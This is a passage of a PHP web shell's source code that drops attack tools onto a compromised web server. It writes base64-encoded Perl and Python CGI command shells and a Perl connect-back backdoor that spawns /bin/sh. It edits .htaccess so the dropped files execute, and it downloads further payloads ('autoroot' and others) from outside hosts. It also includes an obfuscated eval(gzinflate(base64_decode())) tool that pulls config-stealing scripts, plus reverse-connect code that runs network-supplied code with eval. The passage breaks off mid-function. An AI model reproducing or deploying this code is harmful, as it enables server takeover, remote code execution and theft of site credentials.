5126b3V0IikgIyB1c2VyIHdhbnRzIHRvIGxvZ291dA0Kew0KCSZQZXJmb3JtTG9nb3V0Ow0KfQ==';
5127
5128
5129
5130$file = fopen("izo.cin" ,"w+");
5131
5132$write = fwrite ($file ,base64_decode($cgishellizocin));
5133
5134fclose($file);
5135
5136 chmod("izo.cin",0755);
5137
5138$netcatshell = 'IyEvdXNyL2Jpbi9wZXJsDQogICAgICB1c2UgU29ja2V0Ow0KICAgICAgcHJpbnQgIkRhdGEgQ2hh
5139
5140MHMgQ29ubmVjdCBCYWNrIEJhY2tkb29yXG5cbiI7DQogICAgICBpZiAoISRBUkdWWzBdKSB7DQog
5141
5142ICAgICAgIHByaW50ZiAiVXNhZ2U6ICQwIFtIb3N0XSA8UG9ydD5cbiI7DQogICAgICAgIGV4aXQo
5143
5144MSk7DQogICAgICB9DQogICAgICBwcmludCAiWypdIER1bXBpbmcgQXJndW1lbnRzXG4iOw0KICAg
5145
5146ICAgJGhvc3QgPSAkQVJHVlswXTsNCiAgICAgICRwb3J0ID0gODA7DQogICAgICBpZiAoJEFSR1Zb
5147
5148MV0pIHsNCiAgICAgICAgJHBvcnQgPSAkQVJHVlsxXTsNCiAgICAgIH0NCiAgICAgIHByaW50ICJb
5149
5150Kl0gQ29ubmVjdGluZy4uLlxuIjsNCiAgICAgICRwcm90byA9IGdldHByb3RvYnluYW1lKCd0Y3An
5151
5152KSB8fCBkaWUoIlVua25vd24gUHJvdG9jb2xcbiIpOw0KICAgICAgc29ja2V0KFNFUlZFUiwgUEZf
5153
5154SU5FVCwgU09DS19TVFJFQU0sICRwcm90bykgfHwgZGllICgiU29ja2V0IEVycm9yXG4iKTsNCiAg
5155
5156ICAgIG15ICR0YXJnZXQgPSBpbmV0X2F0b24oJGhvc3QpOw0KICAgICAgaWYgKCFjb25uZWN0KFNF
5157
5158UlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsICR0YXJnZXQpKSB7DQogICAgICAgIGRpZSgi
5159
5160VW5hYmxlIHRvIENvbm5lY3RcbiIpOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBTcGF3bmlu
5161
5162ZyBTaGVsbFxuIjsNCiAgICAgIGlmICghZm9yayggKSkgew0KICAgICAgICBvcGVuKFNURElOLCI+
5163
5164JlNFUlZFUiIpOw0KICAgICAgICBvcGVuKFNURE9VVCwiPiZTRVJWRVIiKTsNCiAgICAgICAgb3Bl
5165
5166bihTVERFUlIsIj4mU0VSVkVSIik7DQogICAgICAgIGV4ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAu
5167
5168ICJcMCIgeCA0Ow0KICAgICAgICBleGl0KDApOw0KICAgICAgfQ0KICAgICAgcHJpbnQgIlsqXSBE
5169
5170YXRhY2hlZFxuXG4iOw==';
5171
5172
5173
5174$file = fopen("dc.pl" ,"w+");
5175
5176$write = fwrite ($file ,base64_decode($netcatshell));
5177
5178fclose($file);
5179
5180 chmod("dc.pl",0755);
5181
5182 echo "<iframe src=cgitelnet1/izo.cin width=100% height=100% frameborder=0></iframe> ";
5183
5184break;
5185
5186case "PHP_7":
5187
5188
5189
5190 mkdir('python', 0755);
5191
5192 chdir('python');
5193
5194 $kokdosya = ".htaccess";
5195
5196 $dosya_adi = "$kokdosya";
5197
5198 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
5199
5200 $metin = "AddHandler cgi-script .izo";
5201
5202 fwrite ( $dosya , $metin ) ;
5203
5204 fclose ($dosya);
5205
5206$pythonp = 'IyEvdXNyL2Jpbi9weXRob24KIyAwNy0wNy0wNAojIHYxLjAuMAoKIyBjZ2ktc2hlbGwucHkKIyBB
5207
5208IHNpbXBsZSBDR0kgdGhhdCBleGVjdXRlcyBhcmJpdHJhcnkgc2hlbGwgY29tbWFuZHMuCgoKIyBD
5209
5210b3B5cmlnaHQgTWljaGFlbCBGb29yZAojIFlvdSBhcmUgZnJlZSB0byBtb2RpZnksIHVzZSBhbmQg
5211
5212cmVsaWNlbnNlIHRoaXMgY29kZS4KCiMgTm8gd2FycmFudHkgZXhwcmVzcyBvciBpbXBsaWVkIGZv
5213
5214ciB0aGUgYWNjdXJhY3ksIGZpdG5lc3MgdG8gcHVycG9zZSBvciBvdGhlcndpc2UgZm9yIHRoaXMg
5215
5216Y29kZS4uLi4KIyBVc2UgYXQgeW91ciBvd24gcmlzayAhISEKCiMgRS1tYWlsIG1pY2hhZWwgQVQg
5217
5218Zm9vcmQgRE9UIG1lIERPVCB1awojIE1haW50YWluZWQgYXQgd3d3LnZvaWRzcGFjZS5vcmcudWsv
5219
5220YXRsYW50aWJvdHMvcHl0aG9udXRpbHMuaHRtbAoKIiIiCkEgc2ltcGxlIENHSSBzY3JpcHQgdG8g
5221
5222ZXhlY3V0ZSBzaGVsbCBjb21tYW5kcyB2aWEgQ0dJLgoiIiIKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
5223
5224IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIwojIEltcG9ydHMKdHJ5
5225
5226OgogICAgaW1wb3J0IGNnaXRiOyBjZ2l0Yi5lbmFibGUoKQpleGNlcHQ6CiAgICBwYXNzCmltcG9y
5227
5228dCBzeXMsIGNnaSwgb3MKc3lzLnN0ZGVyciA9IHN5cy5zdGRvdXQKZnJvbSB0aW1lIGltcG9ydCBz
5229
5230dHJmdGltZQppbXBvcnQgdHJhY2ViYWNrCmZyb20gU3RyaW5nSU8gaW1wb3J0IFN0cmluZ0lPCmZy
5231
5232b20gdHJhY2ViYWNrIGltcG9ydCBwcmludF9leGMKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
5233
5234IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBjb25zdGFudHMKCmZvbnRs
5235
5236aW5lID0gJzxGT05UIENPTE9SPSM0MjQyNDIgc3R5bGU9ImZvbnQtZmFtaWx5OnRpbWVzO2ZvbnQt
5237
5238c2l6ZToxMnB0OyI+Jwp2ZXJzaW9uc3RyaW5nID0gJ1ZlcnNpb24gMS4wLjAgN3RoIEp1bHkgMjAw
5239
5240NCcKCmlmIG9zLmVudmlyb24uaGFzX2tleSgiU0NSSVBUX05BTUUiKToKICAgIHNjcmlwdG5hbWUg
5241
5242PSBvcy5lbnZpcm9uWyJTQ1JJUFRfTkFNRSJdCmVsc2U6CiAgICBzY3JpcHRuYW1lID0gIiIKCk1F
5243
5244VEhPRCA9ICciUE9TVCInCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
5245
5246IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgUHJpdmF0ZSBmdW5jdGlvbnMgYW5kIHZhcmlhYmxl
5247
5248cwoKZGVmIGdldGZvcm0odmFsdWVsaXN0LCB0aGVmb3JtLCBub3RwcmVzZW50PScnKToKICAgICIi
5249
5250IlRoaXMgZnVuY3Rpb24sIGdpdmVuIGEgQ0dJIGZvcm0sIGV4dHJhY3RzIHRoZSBkYXRhIGZyb20g
5251
5252aXQsIGJhc2VkIG9uCiAgICB2YWx1ZWxpc3QgcGFzc2VkIGluLiBBbnkgbm9uLXByZXNlbnQgdmFs
5253
5254dWVzIGFyZSBzZXQgdG8gJycgLSBhbHRob3VnaCB0aGlzIGNhbiBiZSBjaGFuZ2VkLgogICAgKGUu
5255
5256Zy4gdG8gcmV0dXJuIE5vbmUgc28geW91IGNhbiB0ZXN0IGZvciBtaXNzaW5nIGtleXdvcmRzIC0g
5257
5258d2hlcmUgJycgaXMgYSB2YWxpZCBhbnN3ZXIgYnV0IHRvIGhhdmUgdGhlIGZpZWxkIG1pc3Npbmcg
5259
5260aXNuJ3QuKSIiIgogICAgZGF0YSA9IHt9CiAgICBmb3IgZmllbGQgaW4gdmFsdWVsaXN0OgogICAg
5261
5262ICAgIGlmIG5vdCB0aGVmb3JtLmhhc19rZXkoZmllbGQpOgogICAgICAgICAgICBkYXRhW2ZpZWxk
5263
5264XSA9IG5vdHByZXNlbnQKICAgICAgICBlbHNlOgogICAgICAgICAgICBpZiAgdHlwZSh0aGVmb3Jt
5265
5266W2ZpZWxkXSkgIT0gdHlwZShbXSk6CiAgICAgICAgICAgICAgICBkYXRhW2ZpZWxkXSA9IHRoZWZv
5267
5268cm1bZmllbGRdLnZhbHVlCiAgICAgICAgICAgIGVsc2U6CiAgICAgICAgICAgICAgICB2YWx1ZXMg
5269
5270PSBtYXAobGFtYmRhIHg6IHgudmFsdWUsIHRoZWZvcm1bZmllbGRdKSAgICAgIyBhbGxvd3MgZm9y
5271
5272IGxpc3QgdHlwZSB2YWx1ZXMKICAgICAgICAgICAgICAgIGRhdGFbZmllbGRdID0gdmFsdWVzCiAg
5273
5274ICByZXR1cm4gZGF0YQoKCnRoZWZvcm1oZWFkID0gIiIiPEhUTUw+PEhFQUQ+PFRJVExFPmNnaS1z
5275
5276aGVsbC5weSAtIGEgQ0dJIGJ5IEZ1enp5bWFuPC9USVRMRT48L0hFQUQ+CjxCT0RZPjxDRU5URVI+
5277
5278CjxIMT5XZWxjb21lIHRvIGNnaS1zaGVsbC5weSAtIDxCUj5hIFB5dGhvbiBDR0k8L0gxPgo8Qj48
5279
5280ST5CeSBGdXp6eW1hbjwvQj48L0k+PEJSPgoiIiIrZm9udGxpbmUgKyJWZXJzaW9uIDogIiArIHZl
5281
5282cnNpb25zdHJpbmcgKyAiIiIsIFJ1bm5pbmcgb24gOiAiIiIgKyBzdHJmdGltZSgnJUk6JU0gJXAs
5283
5284ICVBICVkICVCLCAlWScpKycuPC9DRU5URVI+PEJSPicKCnRoZWZvcm0gPSAiIiI8SDI+RW50ZXIg
5285
5286Q29tbWFuZDwvSDI+CjxGT1JNIE1FVEhPRD1cIiIiIiArIE1FVEhPRCArICciIGFjdGlvbj0iJyAr
5287
5288IHNjcmlwdG5hbWUgKyAiIiJcIj4KPGlucHV0IG5hbWU9Y21kIHR5cGU9dGV4dD48QlI+CjxpbnB1
5289
5290dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iU3VibWl0Ij48QlI+CjwvRk9STT48QlI+PEJSPiIiIgpib2R5
5291
5292ZW5kID0gJzwvQk9EWT48L0hUTUw+JwplcnJvcm1lc3MgPSAnPENFTlRFUj48SDI+U29tZXRoaW5n
5293
5294IFdlbnQgV3Jvbmc8L0gyPjxCUj48UFJFPicKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
5295
5296IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBtYWluIGJvZHkgb2YgdGhlIHNj
5297
5298cmlwdAoKaWYgX19uYW1lX18gPT0gJ19fbWFpbl9fJzoKICAgIHByaW50ICJDb250ZW50LXR5cGU6
5299
5300IHRleHQvaHRtbCIgICAgICAgICAjIHRoaXMgaXMgdGhlIGhlYWRlciB0byB0aGUgc2VydmVyCiAg
5301
5302ICBwcmludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIyBzbyBpcyB0aGlzIGJs
5303
5304YW5rIGxpbmUKICAgIGZvcm0gPSBjZ2kuRmllbGRTdG9yYWdlKCkKICAgIGRhdGEgPSBnZXRmb3Jt
5305
5306KFsnY21kJ10sZm9ybSkKICAgIHRoZWNtZCA9IGRhdGFbJ2NtZCddCiAgICBwcmludCB0aGVmb3Jt
5307
5308aGVhZAogICAgcHJpbnQgdGhlZm9ybQogICAgaWYgdGhlY21kOgogICAgICAgIHByaW50ICc8SFI+
5309
5310PEJSPjxCUj4nCiAgICAgICAgcHJpbnQgJzxCPkNvbW1hbmQgOiAnLCB0aGVjbWQsICc8QlI+PEJS
5311
5312PicKICAgICAgICBwcmludCAnUmVzdWx0IDogPEJSPjxCUj4nCiAgICAgICAgdHJ5OgogICAgICAg
5313
5314ICAgICBjaGlsZF9zdGRpbiwgY2hpbGRfc3Rkb3V0ID0gb3MucG9wZW4yKHRoZWNtZCkKICAgICAg
5315
5316ICAgICAgY2hpbGRfc3RkaW4uY2xvc2UoKQogICAgICAgICAgICByZXN1bHQgPSBjaGlsZF9zdGRv
5317
5318dXQucmVhZCgpCiAgICAgICAgICAgIGNoaWxkX3N0ZG91dC5jbG9zZSgpCiAgICAgICAgICAgIHBy
5319
5320aW50IHJlc3VsdC5yZXBsYWNlKCdcbicsICc8QlI+JykKCiAgICAgICAgZXhjZXB0IEV4Y2VwdGlv
5321
5322biwgZTogICAgICAgICAgICAgICAgICAgICAgIyBhbiBlcnJvciBpbiBleGVjdXRpbmcgdGhlIGNv
5323
5324bW1hbmQKICAgICAgICAgICAgcHJpbnQgZXJyb3JtZXNzCiAgICAgICAgICAgIGYgPSBTdHJpbmdJ
5325
5326TygpCiAgICAgICAgICAgIHByaW50X2V4YyhmaWxlPWYpCiAgICAgICAgICAgIGEgPSBmLmdldHZh
5327
5328bHVlKCkuc3BsaXRsaW5lcygpCiAgICAgICAgICAgIGZvciBsaW5lIGluIGE6CiAgICAgICAgICAg
5329
5330ICAgICBwcmludCBsaW5lCgogICAgcHJpbnQgYm9keWVuZAoKCiIiIgpUT0RPL0lTU1VFUwoKCgpD
5331
5332SEFOR0VMT0cKCjA3LTA3LTA0ICAgICAgICBWZXJzaW9uIDEuMC4wCkEgdmVyeSBiYXNpYyBzeXN0
5333
5334ZW0gZm9yIGV4ZWN1dGluZyBzaGVsbCBjb21tYW5kcy4KSSBtYXkgZXhwYW5kIGl0IGludG8gYSBw
5335
5336cm9wZXIgJ2Vudmlyb25tZW50JyB3aXRoIHNlc3Npb24gcGVyc2lzdGVuY2UuLi4KIiIi';
5337
5338
5339
5340$file = fopen("python.izo" ,"w+");
5341
5342$write = fwrite ($file ,base64_decode($pythonp));
5343
5344fclose($file);
5345
5346 chmod("python.izo",0755);
5347
5348 echo "<iframe src=python/python.izo width=100% height=100% frameborder=0></iframe> ";
5349
5350break;
5351
5352case "PHP_9":
5353
5354 mkdir('perltools', 0755);
5355
5356 chdir('perltools');
5357
5358$perltoolss = 'PD9waHAKLyoKCiovCmVjaG8gIjxodG1sPjx0aXRsZT5JbXBvcnRlciBUMDBseiB2LjQ8L3RpdGxl
5359
5360PjxoZWFkPjxMSU5LIFJFTD0nU0hPUlRDVVQgSUNPTidIUkVGPSdodHRwOi8vd3d3LmhhY2stYm9v
5361
5362ay5uZXQvZmF2aWNvbi5pY28nPjwvaGVhZD4KPHN0eWxlPmE6bGluayB7dGV4dC1kZWNvcmF0aW9u
5363
5364Om5vbmU7fWE6aG92ZXIgeyAgICAgYm9yZGVyLWJvdHRvbTogMXB4IGRvdHRlZCAjYmEwMDAwO31h
5365
5366OnZpc2l0ZWQge3RleHQtZGVjb3JhdGlvbjpub25lO308L3N0eWxlPgo8Ym9keSB0ZXh0PScjRkYw
5367
5368MDAwJyBiZ2NvbG9yPScjMDAwMDAwJyBsaW5rPScjQ0NDQ0NDJyB2bGluaz0nIzgwODA4MCcgYWxp
5369
5370bms9JyM5OTk5OTknPjxkaXYgYWxpZ249J2NlbnRlcic+PGJyPgo8aW1nIGJvcmRlcj0nMCcgc3Jj
5371
5372PSdodHRwOi8vdXBsb2FkLnRyYWlkbnQubmV0L3VwZmlsZXMvbzhJOTk4MTAucG5nJyB3aWR0aD0n
5373
5374NTY2JyBoZWlnaHQ9JzI4Myc+PC9kaXY+Cjxmb250IGZhY2U9J3RhaG9tYScgc2l6ZT0nMicgY29s
5375
5376b3I9JyNmMzAwMDAnPjxicj48Yj48IS0tIGhhY2stYm9vay5uZXQgLS0+IjsKQHNldF90aW1lX2xp
5377
5378bWl0KDApOwpAZXJyb3JfcmVwb3J0aW5nKEVfQUxMIHwgRV9OT1RJQ0UpOwokeD1hcnJheSggImh0
5379
5380LnR4dCI9PiIuaHRhY2Nlc3MiLCAiY2dpLW5ldy50eHQiPT4iY2dpLnIxeiIsICJkby1uZXcudHh0
5381
5382Ij0+ImRvbWFpbi5yMXoiLCAidXNlci50eHQiPT4idXNlci5yMXoiLCAiY28udHh0Ij0+ImNvbmZp
5383
5384Zy5yMXoiLCAic3ltLnR4dCI9PiJzeW1saW5rLnIxeiIsICJzcWwtbmV3LnR4dCI9PiJzcWwucGhw
5385
5386IiwgInI1Ny50eHQiPT4icjU3LnBocCIsICJjcGFuZWwudHh0Ij0+ImNwYW5lbC5waHAiLCAiZG9t
5387
5388YWlucy10eHQudHh0Ij0+ImRvbWFpbi5waHAiLCAiam9vbWxhLnR4dCI9PiJqb29tbGEucGhwIiwg
5389
5390IndwLnR4dCI9PiJ3cC5waHAiLCAiY29uZmlnLXBocC50eHQiPT4iY29uZmlnLnBocCIsICJpbmku
5391
5392dHh0Ij0+ImluaS5waHAiLCAidmIudHh0Ij0+InZiLnBocCIsICJpc3N3LnR4dCI9PiJpc3N3LnBo
5393
5394cCIsICJwbnB4LWluaS50eHQiPT4icGhwLmluaSIsICk7CmZvcmVhY2goJHggYXMgJGQ9PiR6KXsg
5395
5396JGZpbGUgPSBmb3BlbigkeiAsIncrIik7CiRyMHg9ZmlsZV9nZXRfY29udGVudHMoJ2h0dHA6Ly93
5397
5398d3cubXVzaWM0ZnVuLm9yZy9yMHgzZC9yMHgvJy4kZCk7CiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUg
5399
5400LCRyMHgpOwpmY2xvc2UoJGZpbGUpOwppZigkd3JpdGUpeyBlY2hvICJbK10gV3JpdGVkIDogPGEg
5401
5402aHJlZj0nLi8keic+JHo8L2E+IDwvYnI+IjsKfWVsc2V7IGVjaG8gIlt+XSBDYW4ndCBXcml0ZSA6
5403
5404ICR6IDxicj4iOwp9CmNobW9kKCR6ICwgMDc1NSk7Cn0KZWNobyAiPC9iPjwvZm9udD48Yj48Yj48
5405
5406Zm9udCBmYWNlPSdUYWhvbWEnIHNpemU9JzInIGNvbG9yPScjQ0NDQ0NDJz48L2ZvbnQ+PC9iPjxm
5407
5408b250IGZhY2U9J1RhaG9tYScgc2l6ZT0nMicgY29sb3I9JyM5OTk5OTknPjxiPjwvYj48IS0tIC9o
5409
5410YWNrLWJvb2submV0IC0tPjxicj48L2ZvbnQ+PC9iPjxwIGFsaWduPSdjZW50ZXInPjxmb250IGZh
5411
5412Y2U9J1RhaG9tYScgc3R5bGU9J2ZvbnQtc2l6ZTogOXB0Jz48Zm9udCBjb2xvcj0nI0ZGRkZGRic+
5413
5414Q29kZWQgQnk8L2ZvbnQ+PGZvbnQgY29sb3I9JyNGRjAwMDAnPiBJcmFRaWFOLXIweCA8L2ZvbnQ+
5415
5416PGZvbnQgY29sb3I9JyNGRkZGRkYnPiB8PC9mb250Pjxmb250IGNvbG9yPScjRkYwMDAwJz4gPGEg
5417
5418aHJlZj0naHR0cDovL3d3dy5oYWNrLWJvb2submV0L3ZiLyc+d3d3LkhhY2stQm9vay5uZXQ8L2E+
5419
5420PC9mb250PjwvZm9udD48L3A+PHAgYWxpZ249J2NlbnRlcic+PGZvbnQgZmFjZT0nVGFob21hJyBz
5421
5422dHlsZT0nZm9udC1zaXplOiA5cHQnPkdyRUV0eiBUbzwvZm9udD48Zm9udCBmYWNlPSdUYWhvbWEn
5423
5424IGNvbG9yPScjRkZGRkZGJyBzdHlsZT0nZm9udC1zaXplOiA5cHQnPiBbI11+PC9mb250Pjxmb250
5425
5426IGZhY2U9J1RhaG9tYScgY29sb3I9JyNDQ0NDQ0MnIHN0eWxlPSdmb250LXNpemU6IDlwdCc+IEth
5427
5428cmFyIGFsU2hhTWk8L2ZvbnQ+PGZvbnQgZmFjZT0nVGFob21hJyBjb2xvcj0nI0ZGRkZGRicgc3R5
5429
5430bGU9J2ZvbnQtc2l6ZTogOXB0Jz58IEFuZCBBbGwgTXkgRnJpZW5kczwvcD48L2ZvbnQ+PGI+PGZv
5431
5432bnQgZmFjZT0nVGFob21hJyBzaXplPScyJyBjb2xvcj0nI0ZGRkZGRic+PC9odG1sPiI7CiMgZGVj
5433
5434cnlwdGVkOgojIGV2YWwoZ3ppbmZsYXRlKGJhc2U2NF9kZWNvZGUoJ0RaUkh6cVJvQWdYM2M0cmFk
5435
5436WlZZNE9GRHJaNFJKdkdRMkFSeU04Sjc3emw5L3lkNFV1aEYvT2RYZnNUZDcvS3BoNktMdC94M0Vx
5437
5438ODVSZncveTlNeHkzLy9KV1EyS3V5MnhMNEV4NW96cFVNeDBsRGZ0UmM0ZlE0ZTI1R2kxQ0FCaE1F
5439
5440d0Juc3dwQnNNQW9rU1RIOUtrL3JRMEcxcW02b0xjTjFvUlgzb2NvZy85ZjJHNjh0NDJ0SHJzYW4x
5441
5442M1l0ZkJtenhDY1Jld05ablNDZ3FFK0o1RVB2bVVONktwbnJKREphdUNqTG05SThVSnE4NXVNcDdI
5443
5444Q2NuVk10emlGK2dKWWU2K05xdGdxbTg3azdWUHFmdmJkczZPWGoyV0F1dTdsMFJRdXZIRmk0bmF6
5445
5446cm1UZFZ2WFlLY2xQTjZnMkdkS292R2JYUmk3RW5sN295TjYzU1Myd0lkc3NydkgzRVEwK0tVUFk4
5447
5448d0QycHBVMGVnMVBEcU83ay81bXdiTkU2emVUTHRDV0ZYSW12cWs0dXFFZVpaT3BkUlMwU3BFRnFq
5449
5450TU04R2dTNkxQQXlMZ2VSYk9JTzA5c1lZdG16NjNKdk1sUWFmTFlPOTRBbVB2ZUhNVmg4OW1tRml6
5451
5452L21xem5MUWRXSGZRU2gya1loUVN4SkhwZ21oU2NZcWlFV1VtYXFDMWhWcWRCS2djYnBoOWRZN2lj
5453
5454NXdaTldiNy9KRkd3SnNnbC9rK081ZitlZEU3ZWtWZElGY0YvMytmSHhTdWJ3TlJiOXE1ZXlMUkNx
5455
5456Q0ZLR29yb0RTVTFYTkZkS0xUVVhhMmUxRlRnTlBnSmYrSUZCN3l4NitaNFZGVGRCM2Z5b3hLT21t
5457
5458cStSUnZ4TDVTSGdoNUJ5anN4Mjhrck92dHpXVjd3NEhxQ2lEUENGemZ6WnN5WHp2dFJxNmc0aUcz
5459
5460NmZpYU1GVUN0eVk0bzdwdXRzaHRDSkdid3gyblE1MzlUSGpaQlFWdWtrRy95SFYzV0h2c21CUHlL
5461
5462eHFVeEdyU1BFVjk1ajhwYWs4ZnJZeGFpSUtXako4d0pwM0Z1ZWZWZ2liTnhzK1drMWN0cXoyK3ZQ
5463
5464VjhtZE5tdEpvSFRGWXByVVE3dE9Fd1pzcVB6WFJta2VXU3VtcFJZTmZmUjQrNVRDWjFXUFlFUmZi
5465
5466VDAvbWRVaW9ibStPMlBHKzZDckoyNlZpeUJvRlM2dEFJZ2g1Sm1QM1BWYXdZSzVxUUc3VUJ5b2NX
5467
5468OHBOMTEvaW91blpjZWp0VkFHaEduUE51QVdLOWM1SmRIbmRtZ01CUjhpbjNUR2JxeTN6L1lrMFNs
5469
5470Zy9Jc2hHc0lsYjFNaVB1UmJCVWdRZnkrY3dyQ09HcUU0dHdKMkxXbTQ3cFJDTnljckl3Y0thczdC
5471
5472Q3Q3K2diRFozcXYvNDdNQTVyTmpKbExDRDJ6SzhCTUhObURROTRDMldpZ1hna0VTZnIzOWNnVyty
5473
5474Wlh5SmtweElKaU5NNTNGdTlBNG5vUWpUS0tUK1hHcUtaYXIyS0l2WVNOdkdZcjZYVVdvL3R4NFlS
5475
5476UWFKQ0RQNThKRHFkN1RCUFlwME9OZll4YnQ5Tit1ZGhyT2pIRk1BUXB4eFg3NWEvWVE0OG0waXZz
5477
5478dVk0UlhJVm9xcnZ0QW45UGVuRWZlcVAzMU0xTlhzV2hkZ3dwRWtDd21QYW0vbDFyZ3BNc2ZEZDJr
5479
5480a2dJU3pLTGQvNlFnak1yb2dEVjlhYkZ1TUhsU0wzOFdNTkFTeWlWREE3TzZOWnVLUXVQYzh5K0cx
5481
5482OU8rSFdJKytCOUlvZTVHcUdyYmoyTFdHdkNZNG56ZUlKWVdjZUpVTkQ5WXQvL0VhcmZxckloOVg1
5483
5484VC80RnZYOUt5RHNjanFhbXNOYWM4cWlvZzViaHdWMG5NaktIRzZqaUNvN21zSTlXNG1rVTUwaS9Y
5485
5486VE5NMGEwVENjWjl4TTl2aWJ5bWFyMzdkSGRUMHZaOHJWR0lYU1Z0dkZLbytTZDNKTEhLYjQ1emd5
5487
5488TUw4N0xHbm5IUDBjaXVmT2JQWElOeGliVnFvcEtZN2R2VVRCb3d2dGFWTnJUb2w3ZnBYTTA1a0Vn
5489
5490MVRPZW1oTXN1TTNBUHJvSnAyNTBmYTJhbk5ua0Z4dG9kYUlRU3ptYVJZeGZXanptT01nVEovNWFl
5491
5492VVVhczZLa2VZK1A0ckRCbVZUalhPcS9mMVpqcExGcFp6bTR5MUc3MHk0a0tXWG4wZU9DM3VWZVVn
5493
5494OGY0YktRQUM1Z21pRnBHSVpaOE05ZmYvNzgrZnZYLy83N0x3PT0nKSkpOwoKPz4=';
5495
5496
5497
5498$file = fopen("perlbypass.php" ,"w+");
5499
5500$write = fwrite ($file ,base64_decode($perltoolss));
5501
5502fclose($file);
5503
5504 echo "<iframe src=perltools/perlbypass.php width=100% height=100% frameborder=0></iframe> ";
5505
5506break;
5507
5508case "PHP_10":
5509
5510
5511
5512 mkdir('autoroot', 0755);
5513
5514 chdir('autoroot');
5515
5516$file = fopen("autoroot.txt" ,"w+");
5517
5518
5519
5520$sa=file_get_contents('http://dzrecharge.tk/pv8L/1.txt');
5521
5522
5523
5524$write = fwrite ($file ,$sa);
5525
5526
5527
5528fclose($file);
5529
5530
5531
5532if ($write) {
5533
5534
5535
5536echo "The File Was Created Successfuly.</br>";
5537
5538
5539
5540}
5541
5542else {echo'"error"';}
5543
5544
5545
5546$chm = chmod("autoroot.txt" , 0755);
5547
5548
5549
5550if ($chm == true){
5551
5552 echo "chmoded the file to 755";
5553
5554}else{
5555
5556 echo "sorry file didn't chmoded";
5557
5558}
5559
5560break;
5561
5562case "PHP_11":
5563
5564
5565
5566 mkdir('cgi', 0755);
5567
5568 chdir('cgi');
5569
5570 $file = fopen("jeentel" ,"w+");
5571
5572 $sa=file_get_contents('http://dzrecharge.tk/pv8L/jeentel');
5573
5574 $write = fwrite ($file ,$sa);
5575
5576 chmod("jeentel",0777);
5577
5578 $file = fopen("cgiPerl.dz" ,"w+");
5579
5580 $sa=file_get_contents('http://dzrecharge.tk/pv8L/dz.txt');
5581
5582 $write = fwrite ($file ,$sa);
5583
5584 chmod("cgiPerl.dz",0755);
5585
5586 $kokdosya = ".htaccess";
5587
5588 $dosya_adi = "$kokdosya";
5589
5590 $dosya = fopen ($dosya_adi , 'w') or die ("Dosya açılamadı!");
5591
5592 $metin = "AddType application/x-httpd-cgi .dz
5593
5594AddHandler cgi-script .dz";
5595
5596 fwrite ( $dosya , $metin ) ;
5597
5598 fclose ($dosya);
5599
5600 echo "<iframe src=cgi/cgiPerl.dz width=100% height=100% frameborder=0></iframe> ";
5601
5602break;
5603
5604case "PHP_12":
5605
5606
5607
5608{
5609
5610 $ipz =$_SERVER["REMOTE_ADDR"];
5611
5612 $portz ="22";
5613
5614 if ($ipz == "" && $portz == ""){echo "Please fill IP Adress & The listen Port";}
5615
5616 else
5617
5618 {
5619
5620 $ipaddr = $ipz;
5621
5622 $port = $portz;
5623
5624 if (FALSE !== strpos($ipaddr, ":")) {$ipaddr = "[". $ipaddr ."]";}
5625
5626 if (is_callable('stream_socket_client'))
5627
5628 {
5629
5630 $msgsock = stream_socket_client("tcp://{$ipaddr}:{$port}");
5631
5632 if (!$msgsock){die();}
5633
5634 $msgsock_type = 'stream';
5635
5636 }
5637
5638 elseif (is_callable('fsockopen'))
5639
5640 {
5641
5642 $msgsock = fsockopen($ipaddr,$port);
5643
5644 if (!$msgsock) {die(); }
5645
5646 $msgsock_type = 'stream';
5647
5648 }
5649
5650 elseif (is_callable('socket_create'))
5651
5652 {
5653
5654 $msgsock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
5655
5656 $res = socket_connect($msgsock, $ipaddr, $port);
5657
5658 if (!$res) {die(); }
5659
5660 $msgsock_type = 'socket';
5661
5662 }
5663
5664 else {die();}
5665
5666 switch ($msgsock_type)
5667
5668 {
5669
5670 case 'stream': $len = fread($msgsock, 4); break;
5671
5672 case 'socket': $len = socket_read($msgsock, 4); break;
5673
5674 }
5675
5676 if (!$len) {die();}
5677
5678 $a = unpack("Nlen", $len);
5679
5680 $len = $a['len'];
5681
5682 $buffer = '';
5683
5684 while (strlen($buffer) < $len)
5685
5686 {
5687
5688 switch ($msgsock_type)
5689
5690 {
5691
5692 case 'stream': $buffer .= fread($msgsock, $len-strlen($buffer));
5693
5694 break;
5695
5696 case 'socket': $buffer .= socket_read($msgsock, $len-strlen($buffer));
5697
5698 break;
5699
5700 }
5701
5702 }
5703
5704 eval($buffer);
5705
5706 echo "[*] Connection Terminated";
5707
5708 die();
5709
5710 }
5711
5712}
5713
5714break;
5715
5716case "PHP_13":
5717
5718
5719
5720{
5721
5722 $env = array('PATH' => '/bin:/usr/bin:/usr/local/bin:/usr/local/sbin:/usr/sbin');
5723
5724 $descriptorspec = array(
5725
5726 0 => array("pipe","r"),
5727
5728 1 => array("pipe","w"),
5729
5730 2 => array("file","/tmp/log.txt","a"));
5731
5732 $ipx =$_SERVER["REMOTE_ADDR"];
5733
5734 $portx ="22";
5735
5736 $proto=getprotobyname("tcp");
5737
5738 if(($sock=socket_create(AF_INET,SOCK_STREAM,$proto))<0)
5739
5740 { die("[-] Socket Create Faile");}
5741
5742 if(($ret=socket_connect($sock,$ipx,$portx))<0)
5743
5744 { die("[-] Connect Faile");}
5745
5746 else{
5747
5748 $message="----------------------PHP Connect-Back--------------------\n";
5749
